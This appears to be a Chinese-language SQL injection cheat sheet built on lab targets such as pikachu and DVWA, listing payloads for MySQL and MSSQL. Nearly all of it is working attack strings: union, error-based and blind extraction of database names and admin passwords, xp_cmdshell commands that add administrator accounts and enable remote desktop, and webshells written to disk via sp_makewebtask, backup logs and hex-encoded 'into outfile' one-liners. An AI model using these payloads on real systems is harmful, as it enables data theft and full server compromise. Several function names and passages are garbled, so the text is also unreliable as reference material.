与数据库交互的相关页面
登录、注册、更新、修改、删除、留言板、查询、搜索、充值等位置–可以提交信息
可能出现注入的地方:http头,user agent、cookies、referer、post、get、reguest
and 1=1 或者 and 1=2
单引号,返回数据库错误信息可注入
or 1=1–
or 1=1#
只能选择不能输入的情况
‘ or 1=1–
‘ or 1=1#
只能选择不能输入的情况
’%vince%‘ or 1=1;
后台格式类型username=(‘xx’) or 1=1;
前端输入xx)‘ or 1=1#
order by 排序,利用查询的字段不能超过主查询的字段特性,根据返回结果,判断字段数量
a’ order by 4#%
a’ order by 3#%
构造语句a’ union select database(),user(),version()#%
数据库是MySQL系统自带的数据库
通过注入获取information_schema.tables表中的信息
注入步骤
检查注入点’ 与and 1=1 and 1=2
order by来判断查询的字段数量
查看数据库用户名和版本、库名(dvwa)
union select user(),version()–+&Submit=Submit#
'union select 1,group_concat(schema_name) from information_schema.schemata±-+&Submit=Submit 获取mysql所有库
获取pikachu数据库的表名
获取pikachu数据库的字段名
获取字段值的内容
updatexml()
函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
UPDATEXML (XML_document, XPath_string, new_value);
实战测试
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)–主要利用第二个参数构造注入语句
concat(0x7e,(SELECT database()),0x7e)–拼接字符串–主要修改第二个参数获取不同信息
1、爆数据库版本信息
2、爆数据库当前用户
3、爆数据库
4、爆表
获取数据库表名
k’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),0)#
k’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu’limit 0,1)),0)#
5、爆字段
获取字段名
6、爆字段内容
获取字段内容
extractvalue()
函数也是MYSQL对XML文档数据进行查询的XPATH函数
1、爆数据库版本信息
2、爆数据库当前用户
3、爆数据库
4、爆表
获取数据库表名
k’and extractvaluel(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’))#
k’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu’limit 0,1))#
5、爆字段
获取字段名
6、爆字段内容
获取字段内容
floor()
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload
oldboy’or updatexml(1,concat(0x7e,(命令)),0) or’
update用于用户登陆端
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入
在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
boolian(布尔型)盲注
判断表名长度
判断表名
注入语句:select ascii(substr(database(),1,1))>xx;
base on time(时间型)盲注
盲注语句:vince’ and sleep(x)#
根据服务器对盲注语句中sleep(x)的响应情况,判断是否存在注入点
构造拼接语句: vince’ and if(substr(database(),1,1)=‘X’ ,sleep(10),null#,
‘X’ (猜测点)’,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。
vince’ and if(substr(database(),1,1)=‘p’,sleep(10),null)#
宽字节注入
当后台PHP扩展参数magic_quotes_gqc设为ON时
\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運’,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
’ =======>'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。
注意:宽字节空格、#如果被URL编码了,可能造成不能成功。
解决办法:通过burpsuite抓包,将被URL编码的转义注入语句修改回来(%df’ or 1=1#)
注:substr()函数 substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定在字符串的何处开始。
length(可选)规定被返回字符串的长度。
实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。
哪些地方没有魔术引号的保护?
(1) S E R V E R 变 量 P H P 5 的 _SERVER 变量 PHP5的 SERVER变量PHP5的_SERVER变量缺少magic_quotes_gqc的保护,导致近年来X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?
(2)getenv()得到的变量(使用类似 S E R V E R 变 量 ) ( 3 ) _SERVER 变量) (3) SERVER变量)(3)HTTP_RAW_POST_DATA与PHP输入、输出流
and exists(select * from users)
以上一步猜解出来的数据库表名:administrator为基础继续猜解
and exists(select username from administrator)
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
and (select top 1 asc(mid(user_name,2,1)) from administrator)>99
根据字段长度,将所有字符都猜解出来为止
继续猜解后面的字段内容-----很累,
- 可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin
- 在线解密工具:www.cmd5.com
sql注入中的高级查询功能
猜字段数目
order by
order by 1
order by 2
…
order by n-1
order by n
爆字段内容
union select联合查询
and 1=2 union select1, 2, 3…, n from 表名
and 1=2 union select 1,user_name,password,4,5,6,7 from administrator
偏移注入
跨库注入
UNION SELECT 1,adminpassword,username,4,5,6,7 from
[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins
比较难,前提是要知道B网站的目录路径,而且要知道数据库名称及后缀,全凭运气
判断是否是MsSQL注入点
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
判断是否sa权限用户
and 1=(select is_srvrolemember(‘db_owner’))
判断是否db_owner权限用户
and 1=(select is_srvrolemember(‘public’))
判断是否public权限用户
查版本
判断MsSQL支持多行语句查询
是否支持子查询
获取当前数据库用户名
获取当前数据库名称
当前数据库名
本地服务名
判断是否有库读取权限
扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。
查看xp_cmdshell扩展存储过程是否被删除
查看xp_regread扩展存储过程是否被删除
如果扩展存储被删除,可执行如下查询进行恢复。(xp_cmdshell)
;exec sp_dropextendedproc ‘xp_cmdshell’
;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
SA权限下扩展存储攻击利用方法
当MsSQL注入点具备sa权限时,只需提交各种扩展存储查询语句,就可以实现危害极大的攻击。
利用xp_cmdshell可执行命令,例如提交如下查询,可查看服务器C盘目录。
最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制。
然后可以利用命令打开3389远程终端连接,并修改终端连接端口号。
;exec master…xp_cmdshell ‘sc config termservice start = auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server”/v fDenyTSConnections /t REG_DWORD /D 0X0 /F’
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp”/v PortNumber /t REG_DWORD’
事实上,只要可以执行系统命令,几乎任意的攻击操作都可在此基础上实现进行。
添加一个用户名和密码都为test的管理员账号
;exec master…xp_cmdshell ‘net user test/add’
exec master…xp_cmdshell ‘net locaigroup administrators test/add’
xp_regwrite操作注册表与开启沙盒模式
;xp_regwrite’HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\currentversion\run’,
‘black’,‘REG_SZ’,‘net user test test /add’
利用xp_regwrite来开启沙盒模式,从而执行系统命令。
开启沙盒模式
利用jet.oledb执行如下系统命令
利用sp_makewebtask写入一句话木马
木马写入到服务器磁盘中的Web目录下,首先需要将一句话木马转换成URL格式
在线url转码/解码
exec sp_makewebtask
‘c:\inetpub\wwwroot\yjh.asp’,‘select’’ %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E’’’–
使用一句话木马客户端连接木马,可以方便地上传一个大型的ASP木马后门
利用sp_oacreate存储远程下载文件
sa权限下可以调用sp_oacreate存储过程来完成更多功能,如远程下载文件到服务器上,从而间接获得一个WebShell.
在注入点处提交如下查询
即可下载文件“http://www.test.con/test.txt”的内容到“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.
sp_addlogin扩展管理数据库用户
exec master.dbo.sp_addlogin test,password
exec masterdbo.sp_addsrvrolemember test,sysadmin
xp_servicecontrol管理服务
要停掉或激活某个服务,可利用xp_servicecontrol扩展执行查询。
;exec master…xp_servicecontrol ‘stop’,‘schedule’
;exec master…xp_servicecontrol ‘start’,‘schedule’
;exec master…xp servicecontrol ‘start’,‘server’
dbowner权限下的扩展攻击利用方法
判断数据库用户权限
搜索Web目录
;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));–
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree ‘c:’,1,1–
and (select dir from temp where id=1)>0
获取数据库用户名
and db_name() =O–
写入一句话木马
http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk=‘c:\test1’ with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk=‘C:\wwwtest\iis-xxser.com–wwwroot\yjh.asp’;alter database testdb set RECOVERY simple
having查询爆表名
having 1=1–"
group by查询字段名
group by 字段名 1 having 1-1–
group by 字段名1,字段名2 having 1=1–
group by 字段名1,字段名2,字段名3…字段名n having 1=1–
如果MsSQL数据库打开了错误回显,那么可以通过MsSQL数据库的返回信息爆出所有数据库信息。此方法非常强大,可获得所有数据库名、任意表和字段的名称、内容。
爆所有数据库名
and db_name() =0–
and db_name(n)>0–
爆数据库路径和名称
and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%203%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)–
展示结果
爆当前库中的所有表与跨库爆表
%20and%20(select%20cast(count(1)%20as%20varchar(10))%2bchar(94)%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1)=1–
%20and%20(select%20top%201%20cast%20(name%20as%20varchar(256))%20from(select%20top%202%20id,name%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1%20order%20by%20id)t%20order%20by%20id%20desc)=1–
and(select top 1 cast (name as varchar(256)) from(select top 数字n id,name from [sysobjects] where xtype=char(85) and status! =0 order by id)t order by id desc)=0–
要爆出任意数据库中的表名,则可提交如下查询语句
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))–
爆所有字段名
and (select top 1 cast (id as nvarchar (20)) %2bchar(124) from [库名]…[sysobjects] where name='表名 ') =0–
and(select cast(count(1) as varchar (10)) %2bchar (94) from[库名]…[syscolumns] where id=dbid 值)=0–
and (select top 1 cast(name as varchar(8000)) from (select top n colid,name from [库名]…[syacolumns] where id=dbid 值 order by colid) t order by colid desc)=0–
快速查询包含管理员账号的表名及字段名
and (select top 1 t_name%2bchar(124)%2bc_name from (select top 20 object_name(id) as t_name, name as c_name from syscolumns where charindEx(cast(关键字十六进制 as varchar (2000)),name)>O and left (name, 1)!=0x40 order by t_name asc) as T order by t_name desc) >0–
爆字段内容
爆出列的总数目,提交语句
and (select cast (count (1) as varchar (8000) ) %2bchar(94)from[库名]…[表名]where 1=1) >0–
爆指定字段的值
and (select top 1 isnull
(cast([字段1 as nvarchar(4000)),char(32))%2bchar(94)%2bisnull (cast ([字段 2 ] as nvarchar (4000)),char(32)) from [表名] where 1=1 order by [字段1])=O–
and (select top 1 isnull(cast([字段1] as nvarchar(4000)),char(32))%2bchar(94)%
2bisnull (cast ([字段2] as nvarchar(4000)),char(32)) from [表名] where 1=1 and name not in (select top n name from [表名]) where 1=1 order by [字段1]))=0–
爆所有数据库名
and 1=(select name from master.dbo.sysdatabases where dbid=1)–
爆出当前数据库中的所有表
%20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=0X75%20order%20by%20name)%20t%20order%20by%20name%20desc)=0
跨库查询其他数据库的表名
and (select top 1 name from (select top n name from 数据库名…sysobjects where xtype=0X75 order by name) t order by name desc)=0
爆字段名及字段值
and (select col_name(object_id(‘表名’),n))=0
and (select top 1 字段名 from 表名)>0
and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0
null替换查询
用order by检测出字段数目 3
and 1=2 union all select null,null,null,null,…from 当前表名
例如:and 1=1 union all select null,null,null from sysobjects
确认数据类型
如果页面返回正常,则将null逐个用数字替换
and 1=2 union all select 1,null,null,null,…from 当前表名
and 1=2 union all select 1,2,null,null,…from 当前表名
and1=1unionallselect 1,‘text’,3 fromsysobjects
如果字段数为 n,则继续替换
查询所有数据库名
and1=2unionallselect 1,(select name from master.dbo.sysdatabases where dbid=1),3 fromsysobjects
查询数据库中的所有表
将数字或字符处替换
(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)
或者(select top 1 name from sysobjects where xtype=0x75 and name not in(select top n name from sysobjects where xtype=0x75))
跨库查询其他数据库的表名
查询字段名及字段值
数字或字符处替换
and 1=2 union all select 1,(select col_name(object_id(‘admin’),n)),3 from sysobjects
获取字段内容,可将数字或字符处替换为如下
and 1=2 union all select 1,(select top 1 name from admin),3 from sysobjects
and 1=2 union all select 1,(select top 1 passWord from admin where name=‘yuan’),3 from sysobjects
同时返回用户名与密码
and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast (password as nvarchar(100)),char(32)) from [admin]),3 from sysobjects
and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast (password as nvarchar(100)),char(32)) from [admin]),where 1=1 and name not in(select top 1 name from admin)),3 from sysobjects
攻击主要分为两种类型
一种是显错模式
另一种是不显错模式
判断MsSQL 2005数据库
显错模式爆数据
爆数据库名
爆数据表
//and//(select//top//1//cast(name//as//varchar(200))//from//(select//top//1//name//from//数据库名
.[sys].[all_objects]//where//type%3dchar(85)//order//by//name)//t//order//by//name//desc)%3d0–
指定所要列的—数据库名(TestDB),修改top后面部分的数字1,就可以逐个猜出指定数据库中的所有数据表名
爆字段名
爆字段内容
爆出字段列名数目
爆字段内容
//and//(select//top//1//isnull(cast([字段名 1]
//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 2]
//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 3]
//as//nvarchar(4000)),char(32))//from//[数据库名]
…[表名]
//where//1=1//and//id//not//in//(select//top//0//id//from//[数据库名]…
[表名]//where//1=1//group//by//id))>0//and//1=1
举例:字段1:id,字段2:name,字段3:password,数据库名:TestDB,表名:admin----可以得到用户名,密码
利用扩展存储的注入攻击技术
MsSQL 2005默认没有开启xp_cmdshell扩展存储,Openrowset扩展存储也不能使用.
如果注入点处是SA权限.可以开启扩展存储后再执行系统命令或查询攻击
开启Openrowset
开启xp_cmdshell
开启扩展存储后,就可以参照之前版本的MsSQL注入攻击技术.通过扩展存储直接实施服务器攻击
不显错模式
盲注入攻击技术
猜数据库dbid
and (select count(*) from master.dbo.sysdatabases where dbid=1)>0
猜解数据库名长度
and (select count(*) from master.dbo.sysdatabases where dbid=dbid值 and len(name)>1)>0
猜解数据库名
猜解管理员表
得到数据库名后,可以用同样的方法反查ASCII码,猜解出管理员表。
and (select count(*) from master.dbo.sysdatabases where dbid=1)>0
先猜解表名长度
and (select count(*) from master.dbo.sysdatabases where dbid=dbid 值 and len (name)>1)>0
然后猜解表名内容
and (select count(*) from master.dbo.sysdatabases where dbid=dbid 值 and ascii(substring(name,1,1))>1)>0
猜解字段名
猜解字段内容
利用order by获得当前表的字段数
再使用union select联合查询来获取想要的数据库信息
常用的注入攻击方式
information_schema注入
数据库是MySQL系统自带的数据库
通过注入获取information_schema.tables表中的信息
注入步骤
order by来判断查询的字段
获取pikachu数据库的表名
vince’ union select database(),user(),3#%
1、u’ union select table_schema ,table_name,3 from information_schema.tables where table_schema=‘pikachu’#
pikachu为上一步查询到的数据库名称
2、UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761±-+&Submit=Submit
获取pikachu数据库的字段名
获取字段值的内容
load_file()函数注入攻击
利用order by获得当前表的字段数
数据库后端查询:Mysql>select first_name,last_name from user where user_id=”order by 3+–+’
注入:”order by 3+–+’
构造union select语句,来查询正在使用中的用户user()、数据库database()、数据库版本version()、服务器操作系统@@version_compile_os,
‘union select user(),database()+–-+
‘union select version(),@@version_compile_os+–-+
利用load_fileQ函数,在union select联合查询中直接读取服务器上的文件
如果Web服务器和数据库服务器没有分离,找到Web路径之后还可以用select into outfileO函数,
将一句话木马查询结果导出到Web目录
mysql用户名密码存储位置
服务器文件进行读写操作
使用into outfile需要有以下条件
数据库开启secure_file_priv
通过联合查询对服务器进行读写操作
如果出现以下情况:
Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\BOOT.INI\’),2
可将c:\boot.ini转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交
对服务器进行写操作
%27%20union%20select%20’568311803’,2 into outfile 'c:/muma.txt’±-+&Submit=Submit
%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt’±-+&Submit=Submit #写入一句话木马
怎么获取Web路径
要对服务器进行读写我们需要网站路径才能得到webshell
(1)一般可以在变量后面加上单引号、改变参数类型、增加参数位数等来造成MySQL数据库出错,爆出Web物理路径。
(2)通过扫描器扫web服务器遗留文件 php.php、info.php、phpinfo.php、test.php
(3)利用搜索引擎来查找Web目录。搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,因此可利用搜索引擎查找网站的出错信息,从而获得网站的物理路径。可在Google或百度中搜索“mysql site:***.com”或“warning site:***.com,error site:***.com.cn”等。
(4) 漏洞暴路径,例如通过网站后台查看网站Web路径、CC攻击暴路径等.
(5)通过配置文件找网站路径,在百度里面输入***配置文件,如:IIS6.0配置文件,可以找到: C:\WINDOWS\system32\inetsrv\MetaBase.xml 和C:\WINDOWS\system32\inetsrv\MetaBase.bin 这两个配置文件(小技巧:在百度里面输入:load_file()常用敏感信息,就可以找到别人入侵过程中总结的常用敏感文件路径)。
利用sql注入写入webshell
假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.
写入需要有写入权限等
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+ //这种反斜扛/本地没测试,大家测试一下,推见大家用两个反\方法
’ union select “”,2 into outfile "c:\php\htdocs\dvwa\123.php"±-+&Submit=Submit
直接在出错信息中显示Web路径
load_file(char(47))列出freebsd目录
"/etc/passwd”文件中的工作目录
读取apache的配置文件“httpd.conf”,获取Web路径
在*nix系统中,可以利用laod_file()尝试读取以下路径查看"apache”配置文件
在Windows系统中,可以尝试读取以下路径查看apache配置文件
利用load_file()读取各种配置文件
在MySQL注入中,load_file()函数除了用于读取网页脚本程序源代码外,还可以用来读取其他各种敏感的配置文件,方便获得WebShell或进行提权。
load_file()读取服务器配置文件
load_file()读取二进制文件
load_file()函数读取文件时不可忽略的问题
简介
information_schema结构包含数据库关键信息
MySQL 5数据库中的information_schema结构
常用表
LIMIT子句查询指定数据
SELECT * FROM table LIMIT [iffset,] rows | rows OFFSET offset
举例
SELECT * FROM table LIMIT 0,1
SELECT * FROM table LIMIT 1,1
LIMIT爆库、爆表与爆字段
爆数据库
and 1=2 union select 1,database()/*
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1/*
爆表名
and 1=2 union select 1,2,3,TABLE_NAME,4,5,6,7…from
information_schema.TABLES where TABLE_SCHEMA=库名十六进制代码 limit 0,1/*
爆字段
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7…from
information_schema.TABLES where TABLE_NAME=表名十六进制代码 limit 0,1/*
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
爆当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
如果只需找后台密码,可以不必爆所有表名,直接快速定位pass字段在那个表中,提交查询
select group_concat(table_name) from information_schema.tables where table_schema=database() and COLUMN_NAME like 0x257061737325
爆表中的字段名
select group_concat(SCHEMA_NAME) from information_schema.schemata.columns where table_name=表名的十六进制编码
爆指定字段值
select group_concat(字段名1,0x7c,字段名2) from 表名